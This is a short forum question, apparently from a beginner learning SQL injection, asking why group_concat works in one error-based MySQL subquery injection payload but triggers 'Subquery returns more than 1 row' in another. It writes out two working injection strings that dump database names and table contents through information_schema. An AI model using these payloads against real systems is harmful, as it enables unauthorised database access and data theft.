How dump all data via sub query injection?

Questions
1

hello , im newbie in sql injection , but i love to learn the basics very well , so i learn sub query injection

if we want to get tables :
1’ and ( select 1 from ( select count(*),concat((select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a)x ) and ‘1’='1

and if we want to get data we use :
and ( select 1 from ( select count(*),concat((select group_concat(c1,c2) from db.table),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a)x ) and 1=1

but this give me an error :
ERROR 1242 (21000): Subquery returns more than 1 row

so we replace group_concat with concat() and limit 0,1
but why in the first step its work and in second not work the group_concat() ??

2

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